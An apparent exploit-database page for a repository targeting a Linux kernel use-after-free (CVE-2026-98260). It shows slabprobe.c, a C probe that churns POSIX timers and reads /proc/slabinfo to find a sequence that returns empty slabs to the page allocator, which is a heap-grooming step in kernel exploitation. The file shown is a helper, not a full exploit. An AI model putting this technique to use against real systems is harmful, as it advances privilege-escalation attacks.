Exploit databaseDownload repository ZIP
GH-300ffa121d06cb7357be8fb011e8d8b3
nanoturtle1145/cve-2026-98260-uaf
Sources for CVE-2026-98260
63 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files21
nanoturtle1145/cve-2026-98260-uafRevision cb03af3ff043
- docs/
- profiles/
- reports/
- src/
- tools/
- FINAL_REPORT.md
- HANDOFF.md
- Makefile
- README.md
- esc_helper
- esc_helper.c
- kmem-check.sh
- overnight.py
- probe
- probe.c
- slabprobe
- slabprobe.c
- trigger
- trigger.c
- upstream_port
- upstream_port_new
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
slabprobe.c
C · 2,599 bytes/* posix_timers_cache 动态探针:用 /proc/slabinfo 观测 create/delete 对
* active_objs / num_slabs 的影响,找出"把空 slab 逼回 buddy"的序列。 */
#define _GNU_SOURCE
#include <signal.h>
#include <stdatomic.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#define MAXT 65536
static timer_t *ts;
static void line(void) {
FILE *f = fopen("/proc/slabinfo", "r");
char buf[512];
if (!f) { printf(" (slabinfo 打不开)\n"); return; }
while (fgets(buf, sizeof(buf), f)) {
if (strncmp(buf, "posix_timers_cache", 18) == 0) {
unsigned long a, n, osz, ops, pps;
unsigned long sl_act = 0, sl_num = 0;
if (sscanf(buf, "%*s %lu %lu %lu %lu %lu : tunables %*u %*u %*u : slabdata %lu %lu",
&a, &n, &osz, &ops, &pps, &sl_act, &sl_num) >= 7)
printf(" active_objs=%-6lu num_objs=%-6lu objsize=%-4lu obj/slab=%-3lu pages/slab=%-2lu slabs=%lu\n",
a, n, osz, ops, pps, sl_num);
else
printf(" raw: %s", buf);
break;
}
}
fclose(f);
}
static size_t create(size_t cnt) {
struct sigevent sev; memset(&sev, 0, sizeof(sev)); sev.sigev_notify = SIGEV_NONE;
size_t made = 0;
for (size_t i = 0; i < cnt; i++) {
if (timer_create(CLOCK_MONOTONIC, &sev, &ts[i]) != 0) break;
made++;
}
return made;
}
static void destroy(size_t n) { for (size_t i = 0; i < n; i++) timer_delete(ts[i]); }
static void nap(int ms) { struct timespec t = { ms / 1000, (ms % 1000) * 1000000L }; nanosleep(&t, NULL); }
int main(int argc, char **argv) {
size_t n = argc > 1 ? strtoul(argv[1], NULL, 10) : 3100;
ts = malloc(sizeof(timer_t) * MAXT);
if (!ts) return 1;
setvbuf(stdout, NULL, _IONBF, 0);
printf("=== posix_timers_cache 动态探针 (n=%zu) ===\n", n);
printf("[初始]\n"); line();
size_t made = create(n);
printf("[创建 %zu 个]\n", made); line();
destroy(made);
printf("[全部销毁,立刻]\n"); line();
nap(100); printf("[+100ms]\n"); line();
nap(400); printf("[+500ms]\n"); line();
nap(1500); printf("[+2s]\n"); line();
/* 关键:销毁后再大量创建/销毁,制造 slab 抖动,看能否把 num_slabs 压回去 */
printf("\n[抖动:反复 create/destroy 8 轮]\n");
for (int r = 0; r < 8; r++) {
size_t m = create(n);
destroy(m);
nap(120);
}
printf("[抖动后]\n"); line();
nap(1000); printf("[+1s]\n"); line();
return 0;
}